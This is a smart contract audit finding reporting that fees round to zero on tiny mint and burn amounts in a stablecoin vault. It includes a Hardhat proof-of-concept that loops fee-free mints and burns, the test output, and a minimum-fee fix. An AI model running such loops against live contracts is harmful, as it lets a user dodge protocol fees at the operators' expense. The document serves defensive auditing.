Summary
The protocol has no minimum fee per transaction. If the result of the fee calculation is 0, users can mint and burn without paying a fee. This happens for small amounts, but the user can create a loop to continue minting/burning for free.
Vulnerability Details (PoC)
To prove the vulnerability, we created 2 tests: 1 for minting and 1 for burning. In both, the fees to be paid are 0. For example, in the burning test, it is not even necessary to approve a transaction to the vault, as there is no fee transaction.
First, set the timeout to 0 in the hardhat.config.js
module.exports = {
solidity: "0.8.17",
mocha: {
timeout: 0,
},
};
Execute the test. We are using small quantities as this is just a test:
describe.only("Audit Test: ", async () => {
it("Mint without paying fees", async () => {
const collateral = ethers.utils.parseEther("1");
const mintedValue = ethers.utils.parseEther("0.0000000000000001");
const mintingFee = mintedValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
console.log("mintingFee: ", mintingFee);
await user.sendTransaction({ to: Vault.address, value: collateral });
const mintValue = ethers.utils.parseEther("0.0000000000001");
for (let i = 0; i < mintValue; i++) {
await Vault.connect(user).mint(user.address, mintedValue);
}
let minted = (await Vault.status()).minted;
console.log("user balance: ", await EUROs.balanceOf(user.address));
expect(mintingFee).to.equal(0);
expect(await EUROs.balanceOf(user.address)).to.equal(minted);
});
it("Burn without paying fees", async () => {
const collateral = ethers.utils.parseEther("1");
const burnedValue = ethers.utils.parseEther("0.0000000000000001");
const burningFee = burnedValue.mul(PROTOCOL_FEE_RATE).div(HUNDRED_PC);
console.log("burningFee: ", burningFee);
await user.sendTransaction({ to: Vault.address, value: collateral });
await Vault.connect(user).mint(user.address, collateral);
const userBalance = await EUROs.balanceOf(user.address);
const burnValue = ethers.utils.parseEther("0.0000000000001");
for (let i = 0; i < burnValue; i++) {
await Vault.connect(user).burn(burnedValue);
}
let finalBurnedValue = burnedValue.mul(burnValue);
console.log("user balance: ", await EUROs.balanceOf(user.address));
const result = userBalance.sub(finalBurnedValue);
expect(burningFee).to.equal(0);
expect(await EUROs.balanceOf(user.address)).to.equal(result);
});
});
➜ 2023-12-the-standard git:(main) ✗ npx hardhat test
SmartVault
Audit Test:
mintingFee: BigNumber { value: "0" }
user balance: BigNumber { value: "10000000" }
✔ Mint without paying fees (3115568ms)
burningFee: BigNumber { value: "0" }
user balance: BigNumber { value: "999999999990000000" }
✔ Burn without paying fees (2438366ms)
Impact
Allowing users to mint or burn without paying fees is a dangerous situation that imaginative developers could use to their advantage, as they could find ways to do the perfect script to operate in the protocol for free and even attack it without cost.
Tools Used
Hardhat and manual check.
Recommendations
It is relatively easy to set a minimum fee to be paid if the fee is 0:
function mint(address _to, uint256 _amount) external onlyOwner ifNotLiquidated {
uint256 fee = _amount * ISmartVaultManagerV3(manager).mintFeeRate() / ISmartVaultManagerV3(manager).HUNDRED_PC();
if (fee == 0) {
fee = MIN_FEE;
}
...(continue)
Another option, similar to maxMintable, is to set a minMintable and a minBurnable.
